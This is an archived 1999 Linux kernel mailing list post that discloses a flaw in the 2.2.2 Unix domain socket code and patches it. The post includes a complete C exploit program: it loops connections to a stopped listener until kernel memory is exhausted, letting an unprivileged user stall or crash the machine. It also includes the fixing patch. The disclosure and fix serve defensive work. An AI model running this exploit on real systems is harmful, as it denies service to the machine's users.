[patch] af_unix fix for a panic a DoS and a memory leak [Re: [Real

Andrea Arcangeli (andrea@e-mind.com)
Mon, 1 Mar 1999 14:16:22 +0100 (CET)


As first the fix from Alexander (the one that uses a gc_current with my
further cleanup) seems SMP safe and works fine here. At least I am not
been able to cause any problem to the kernel so far here.

But playing still more the unix domain socket code some minutes ago I
discovered new critical issues.

I discovered a way to leak memory and cause the machine to stall completly
in kernel mode for minutes as normal user. Waiting a bit more it will eat
all memory and the machine will crash badly. It's a plain security issue.

Here the exploit. I originally written the proggy just to test the thread
safety of the unix code in SMP ;).

/*
* Exploit for unix-sockets in Linux-2.2.2.
*
* Copyright (C) 1999 Andrea Arcangeli
*/

#include <signal.h>
#include <sys/socket.h>
#include <sys/un.h>

static void server(void)
{
struct sockaddr_un saddr;

int sock = socket(AF_UNIX, SOCK_STREAM, 0);
if (sock < 0)
perror("socket"), exit(1);

bzero((char *)&saddr, sizeof(saddr));
saddr.sun_family = AF_UNIX;
sprintf(saddr.sun_path, "/tmp/try");

if (bind(sock, (struct sockaddr_un *)&saddr, sizeof(saddr)) == -1)
perror("bind"), exit(1);

listen(sock, 5);

raise(SIGSTOP);

unlink("/tmp/try");
}

static void client(void)
{
fork();

for (;;)
{
struct sockaddr_un saddr;

int sock = socket(AF_UNIX, SOCK_STREAM, 0);
if (sock < 0)
perror("socket"), exit(1);

bzero((char *)&saddr, sizeof(saddr));
saddr.sun_family = AF_UNIX;
sprintf(saddr.sun_path, "/tmp/try");

if (connect(sock, (struct sockaddr_un *)&saddr,
sizeof(saddr)) == -1)
perror("connect"), exit(1);
close(sock);
}
}

main()
{
switch (fork())
{
default:
server();
break;
case 0:
client();
break;
case -1:
perror("fork");
exit(1);
}
}

On clean 2.2.2 the proggy should also cause a panic but that was the old
stack-overflow-bug (I never tried it on plain 2.2.2 though).

With the panic bug fixed when you'll run `fg' your machine will stall
completly for minutes. There's no limit in the number of socks that will
be generated. The reason is that we are increasing the ack_backlog but we
are not checking for max_ack_backlog upon every connection.

Here a my patch that fixes _all_ bugs in the unix domain socket code I am
aware of so far (the patch include my cleandup version of Alexander
garbage-collector-panic-patch and my today security fix). The patch is
against clean 2.2.2:

Index: linux/include/net/sock.h
===================================================================
RCS file: /var/cvs/linux/include/net/sock.h,v
retrieving revision 1.1.1.3
diff -u -r1.1.1.3 sock.h
--- sock.h 1999/02/20 15:42:53 1.1.1.3
+++ linux/include/net/sock.h 1999/02/28 22:41:16
@@ -99,8 +99,7 @@
struct semaphore readsem;
struct sock * other;
struct sock ** list;
- int marksweep;
-#define MARKED 1
+ struct sock * gc_next;
int inflight;
};

Index: linux/net/unix//Makefile
===================================================================
RCS file: /var/cvs/linux/net/unix/Makefile,v
retrieving revision 1.1.1.1
retrieving revision 1.1.2.1
diff -u -r1.1.1.1 -r1.1.2.1
Index: linux/net/unix//af_unix.c
===================================================================
RCS file: /var/cvs/linux/net/unix/af_unix.c,v
retrieving revision 1.1.1.2
diff -u -r1.1.1.2 af_unix.c
--- af_unix.c 1999/01/18 13:41:22 1.1.1.2
+++ linux/net/unix/af_unix.c 1999/03/01 12:58:38
@@ -33,6 +33,10 @@
* Lots of bug fixes.
* Alexey Kuznetosv : Repaired (I hope) bugs introduces
* by above two patches.
+ * Andrea Arcangeli : Fixed a security issue (potential DoS)
+ * in the stream-connection code, now
+ * the code check for the max allowed
+ * backlog in the listen sock.
*
* Known differences from reference BSD that was tested:
*
@@ -705,6 +709,10 @@
/* Check that listener is in valid state. */
err = -ECONNREFUSED;
if (other == NULL || other->dead || other->state != TCP_LISTEN)
+ goto out;
+
+ /* Fail if the listen backlog is just full. -arca */
+ if (other->ack_backlog >= other->max_ack_backlog)
goto out;

err = -ENOMEM;
Index: linux/net/unix//garbage.c
===================================================================
RCS file: /var/cvs/linux/net/unix/garbage.c,v
retrieving revision 1.1.1.1
diff -u -r1.1.1.1 garbage.c
--- garbage.c 1999/01/18 01:27:46 1.1.1.1
+++ linux/net/unix/garbage.c 1999/03/01 00:15:03
@@ -17,11 +17,12 @@
*
* - explicit stack instead of recursion
* - tail recurse on first born instead of immediate push/pop
+ * - we gather the stuff that should not be killed into list
+ * and stack is just a path from root to the current pointer.
*
* Future optimizations:
*
* - don't just push entire root set; process in place
- * - use linked list for internal stack
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
@@ -51,6 +52,14 @@
* That might be the reason of random oopses on close_fp() in
* unrelated processes.
*
+ * AV 28 Feb 1999
+ * Kill the explicit allocation of stack. Now we keep the marked
+ * socks in the list with root in gc_current to one of the nodes.
+ * Stack is represented as path from gc_current to the last elem.
+ * Unmark now means "add to list". Push == "make it a son of
+ * gc_current". Pop == "move gc_current to parent". We keep only
+ * pointers to parents (->gc_next).
+ *
*/

#include <linux/kernel.h>
@@ -65,7 +74,6 @@
#include <linux/netdevice.h>
#include <linux/file.h>
#include <linux/proc_fs.h>
-#include <linux/vmalloc.h>

#include <net/sock.h>
#include <net/tcp.h>
@@ -74,9 +82,8 @@

/* Internal data structures and random procedures: */

-static unix_socket **stack; /* stack of objects to mark */
-static int in_stack = 0; /* first free entry in stack */
-static int max_stack; /* Top of stack */
+#define GC_HEAD ((unix_socket *) -1)
+static unix_socket *gc_current=GC_HEAD; /* stack of objects to mark */

extern inline unix_socket *unix_get_socket(struct file *filp)
{
@@ -122,32 +129,25 @@
/*
* Garbage Collector Support Functions
*/
-
-extern inline void push_stack(unix_socket *x)
-{
- if (in_stack == max_stack)
- panic("can't push onto full stack");
- stack[in_stack++] = x;
-}

extern inline unix_socket *pop_stack(void)
{
- if (in_stack == 0)
- panic("can't pop empty gc stack");
- return stack[--in_stack];
+ unix_socket *p=gc_current;
+ gc_current = p->protinfo.af_unix.gc_next;
+ return p;
}

extern inline int empty_stack(void)
{
- return in_stack == 0;
+ return gc_current == GC_HEAD;
}

extern inline void maybe_unmark_and_push(unix_socket *x)
{
- if (!(x->protinfo.af_unix.marksweep&MARKED))
+ if (x->protinfo.af_unix.gc_next)
return;
- x->protinfo.af_unix.marksweep&=~MARKED;
- push_stack(x);
+ x->protinfo.af_unix.gc_next = gc_current;
+ gc_current = x;
}


@@ -169,23 +169,9 @@
return;
in_unix_gc=1;

- if(stack==NULL || max_files>max_stack)
- {
- if(stack)
- vfree(stack);
- stack=(unix_socket **)vmalloc(max_files*sizeof(struct unix_socket *));
- if(stack==NULL)
- {
- printk(KERN_NOTICE "unix_gc: deferred due to low memory.\n");
- in_unix_gc=0;
- return;
- }
- max_stack=max_files;
- }
-
forall_unix_sockets(i, s)
{
- s->protinfo.af_unix.marksweep|=MARKED;
+ s->protinfo.af_unix.gc_next=NULL;
}
/*
* Everything is now marked
@@ -276,9 +262,9 @@

if (f)
{
- if ((f->protinfo.af_unix.marksweep&MARKED))
+ if (!f->protinfo.af_unix.gc_next)
{
- f->protinfo.af_unix.marksweep&=~MARKED;
+ f->protinfo.af_unix.gc_next=GC_HEAD;
x=f;
f=NULL;
goto tail;
@@ -290,7 +276,7 @@

forall_unix_sockets(i, s)
{
- if (s->protinfo.af_unix.marksweep&MARKED)
+ if (!s->protinfo.af_unix.gc_next)
{
struct sk_buff *nextsk;
skb=skb_peek(&s->receive_queue);

I also produced a new 2.2.2_arca4.gz that includes these fixes and some
other things. Since it's rock solid here if you are still able to get in
troubles with the patch above as first let me know and as second I would
be glad if you could try to reproduce the troubles with the whole
ftp://e-mind.com/pub/linux/arca-tree/2.2.2_arca4.gz patch applyed (it has
the /proc real race fixes for example just to be paranoid enough ;).

Thanks.

Andrea Arcangeli

-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.rutgers.edu
Please read the FAQ at http://www.tux.org/lkml/